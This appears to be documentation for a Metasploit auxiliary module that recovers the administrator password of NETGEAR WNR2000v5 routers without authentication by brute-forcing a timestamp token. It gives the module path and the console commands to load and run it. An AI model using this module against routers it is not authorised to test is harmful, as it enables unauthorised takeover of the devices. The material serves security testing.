NETGEAR WNR2000v5 Administrator Password Recovery

Description

The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery. This vulnerability can be exploited by an unauthenticated attacker who is able to guess the value of a certain timestamp which is in the configuration of the router. Brute forcing the timestamp token might take a few minutes, a few hours, or days, but it is guaranteed that it can be bruteforced. This module works very reliably and it has been tested with the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this has not been tested.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use auxiliary/admin/http/netgear_wnr2000_pass_recovery
msf auxiliary(netgear_wnr2000_pass_recovery) > show actions
    ...actions...
msf auxiliary(netgear_wnr2000_pass_recovery) > set ACTION < action-name >
msf auxiliary(netgear_wnr2000_pass_recovery) > show options
    ...show and set options...
msf auxiliary(netgear_wnr2000_pass_recovery) > run 

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
